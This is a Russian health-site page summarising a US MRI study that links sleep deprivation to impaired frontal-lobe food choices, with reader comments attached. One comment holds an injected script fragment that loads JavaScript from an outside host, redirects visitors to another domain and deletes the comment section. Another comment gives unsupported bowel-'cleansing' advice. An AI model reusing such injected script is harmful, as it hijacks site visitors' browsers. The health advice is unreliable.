Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Обнаружена связь между не...  >>  Обнаружена связь между недосыпанием и ожирением
 
Обратная связь
 

Обнаружена связь между недосыпанием и ожирением

Размер шрифта
24 июля 2012 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Американские ученые обнаружили, что недосыпание приводит к нарушению работы участков головного мозга, которые отвечают за пищевое поведение. Возможно, это открытие позволит объяснить связь между недостатком сна и ожирением.


Что такое сон

Сон – это особое состояние сознания человека, включающее в себя ряд стадий, которые закономерно повторяются в течение ночи. Появление этих стадий обусловлено активностью различных структур мозга. Во время сна периодически чередуются две основные фазы: медленный и быстрый сон, причем после засыпания преобладает медленный сон, а перед пробуждением – быстрый.

Во время медленного сна снижается мышечный тонус, замедляется дыхание и сердцебиение, отсутствуют движения глаз. При пробуждении после медленного сна человек обычно отмечает, что у него не было сновидений.

Во время быстрого сна возникают движения глазных яблок при закрытых веках, а также мышечные подергивания в отдельных группах мышц, происходит изменение частоты дыхания и сердцебиения, наблюдаются временные подъемы и падения артериального давления и др. При пробуждении после быстрого сна здоровые люди, как правило, отмечают, что у них были сновидения (обычно яркие, преимущественно зрительные образы, фантастические и эмоционально насыщенные).

Быстрый сон прервать труднее, чем медленный, хотя именно быстрый сон ближе к порогу бодрствования. Лучше всего просыпаться после окончания фазы быстрого сна.  

Суть исследования

В исследовании приняли участие 23 абсолютно здоровых взрослых человека. Изучение работы участков головного мозга, отвечающих за пищевое поведение, проводилось при помощи магнитно-резонансной томографии (МРТ).

МРТ использовали два раза: первый раз после ночного сна нормальной продолжительности, второй раз – после недосыпания. Во время проведения МРТ участникам исследования показывали различные продукты, и они должны были оценить, насколько сильно им хочется съесть тот или иной продукт.

Результаты

Полученные результаты свидетельствуют о том, что недосыпание приводит к нарушению работы лобной доли головного мозга. Лобная доля отвечает за поведение и принятие сложных решений, таких как выбор еды. Недосыпание подавляет высшие функции головного мозга, необходимые для правильного пищевого поведения, но не влияет на структуры головного мозга, отвечающие за примитивные желания.

Недостаточное количество сна приводит к нарушению процесса объединения различных сигналов, которые помогают нам выбирать и подходить к выбору продуктов с умом. Именно благодаря этой функции лобной доли мы можем заранее оценить, насколько полезен тот или иной продукт, насколько он вкусный и т.д.

Ученые считают, что нарушение данной функции позволяет объяснить связь между недосыпанием и ожирением.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

18 апреля 2013 в 00:02

Цитировать   |   Пожаловаться

Можно чистить кишечник желчной минералкой. Если по схеме пить где-то стакан в день лечебно-минеральной, которая специально "заточена" под профилактику печени и желчевыводящих, то будет мягкая чистка и естественная. И все будет хорошо.

2 - zzzzzz

30 июня 2015 в 23:38

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Хотите не чувствовать боли – спите дольше   Что ваш сон говорит о вашем здоровье   Чем меньше спишь, тем быстрее теряешь рассудок   Недосыпание приводит к агрессивному раку молочной железы  
30 января 2013Хотите не чувствовать боли – спите дольше 04 января 2013Сбылась мечта студента: уснул, а утром уже все знаешь
 
04 октября 2012Чем меньше спишь, тем быстрее теряешь рассудок 26 сентября 2012Недосыпание приводит к агрессивному раку молочной железы!
 

Слайдшоу

1
Что случилось с моим сном?
Худшая еда для сна
Скрытые причины недосыпания

Тесты

1
Нормальный ли у вас сон?
Хорошо ли Вы спите?
Какой матрас вам подходит?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.